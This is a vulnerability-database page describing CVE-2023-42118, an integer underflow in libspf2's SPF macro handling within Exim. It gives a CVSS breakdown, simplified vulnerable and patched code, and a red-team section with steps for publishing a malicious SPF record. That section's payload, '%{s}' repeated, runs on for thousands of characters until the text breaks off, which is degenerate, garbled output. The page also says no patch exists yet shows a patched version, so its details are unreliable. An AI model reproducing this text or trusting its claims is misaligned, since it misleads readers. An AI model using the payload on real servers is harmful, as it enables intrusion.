CVE-2023-42118
Executive Summary
CVE-2023-42118 is a critical integer underflow vulnerability in the Exim mail transfer agent's bundled libspf2 library, specifically within the SPF macro parsing engine. This flaw allows an unauthenticated, network-adjacent attacker to trigger a memory corruption condition that leads to remote code execution (RCE) in the context of the Exim service account (typically Debian-exim or exim). The vulnerability was discovered and reported by Trend Micro's Zero Day Initiative (ZDI-17578).
The core issue lies in the spf_macro_process function, which fails to validate the length of user-supplied data before performing arithmetic operations. This results in an integer underflow, causing the subsequent memory copy operation to write beyond the allocated buffer, corrupting adjacent memory and enabling arbitrary code execution.
Key Risk Factors:
- No Authentication Required: The attack can be launched without any credentials.
- Network-Adjacent Vector: The attacker must be on the same network segment as the target Exim server (e.g., local network, VPN, or DMZ).
- No Public Exploit: As of this report, no public proof-of-concept (PoC) or exploit code has been released, reducing immediate risk but increasing the need for proactive detection.
- Unpatched Status: The libspf2 library is in a dormant state, and Exim has not released an official patch. Mitigation relies on disabling SPF macro processing or applying third-party patches.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to NPM, PyPI, Go, or Ruby packages. However, Exim is a critical component in many Linux distributions (Debian, Ubuntu, CentOS, etc.). The libspf2 library is often statically linked or bundled with Exim, meaning that a fix must come from the Exim project or the distribution maintainer. System administrators should monitor their distribution's security advisories for backported patches.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Adjacent Network (A) | The attacker must be on the same Layer 2 network segment. |
| Attack Complexity (AC) | Low (L) | No special conditions or race conditions required. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | The victim does not need to perform any action. |
| Scope (S) | Unchanged (U) | The vulnerability does not affect resources beyond the Exim process. |
| Confidentiality (C) | High (H) | Full read access to memory and files. |
| Integrity (I) | High (H) | Full write access to memory and files. |
| Availability (A) | High (H) | Full control over process execution. |
Threat Level: High. While the EPSS score is 0.0% (indicating no active exploitation in the wild), the technical severity and lack of a patch make this a significant risk for organizations running Exim with SPF enabled.
Deep Dive & Mechanics
The vulnerability resides in the spf_macro_process function within libspf2/src/spf_macro.c. This function is responsible for expanding SPF macros (e.g., %{i}, %{s}, %{d}) during SPF record evaluation.
Root Cause:
When parsing a macro string, the code performs an integer subtraction to calculate the remaining buffer size. If the attacker supplies a crafted SPF record that causes the macro expansion to produce a string longer than the expected buffer, the subtraction can underflow (wrap around to a very large positive number). This underflow is then used as the length parameter in a memcpy or similar memory copy operation, leading to a heap-based buffer overflow.
Vulnerable Code Path (Simplified):
// spf_macro.c (vulnerable version)
int spf_macro_process(SPF_server_t *server, const char *macro, char *buf, size_t bufsize) {
size_t remaining = bufsize;
char *ptr = buf;
while (*macro) {
if (*macro == '%') {
// ... macro expansion logic ...
// Vulnerable: no check on expanded length before subtraction
remaining -= expanded_len; // Integer underflow if expanded_len > remaining
memcpy(ptr, expanded, expanded_len); // Overflow write
ptr += expanded_len;
}
macro++;
}
return 0;
}
Attack Scenario:
- The attacker sends a crafted email to the target Exim server.
- Exim queries the SPF record for the sender's domain.
- The SPF record contains a malicious macro string (e.g.,
%{s}%{s}%{s}...repeated many times). - During macro expansion, the
remainingvariable underflows, causing a heap buffer overflow. - The attacker overwrites critical heap metadata or function pointers, gaining code execution.
Vulnerable vs. Patched Code
Vulnerable Code (libspf2 < 1.2.11):
// No bounds check on macro expansion
remaining -= expanded_len;
memcpy(ptr, expanded, expanded_len);
Patched Code (libspf2 >= 1.2.11 or Exim with backport):
// Proper bounds check before copy
if (expanded_len > remaining) {
// Truncate or return error
expanded_len = remaining;
}
remaining -= expanded_len;
memcpy(ptr, expanded, expanded_len);
Key Differences:
- The patched version checks if
expanded_lenexceedsremainingbefore performing the subtraction. - If the expanded data is too large, it is truncated or the function returns an error, preventing the underflow.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable Exim server (e.g., Exim 4.94.2 with bundled libspf2).
- Network adjacency to the target (same VLAN or subnet).
- Ability to control the SPF record of a domain (or use a DNS spoofing attack).
Exploitation Steps:
- Set up a malicious SPF record:
Onv=spf1 include:_spf.malicious.com -all_spf.malicious.com, create a TXT record with a crafted macro:v=spf1 redirect=%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{s}%{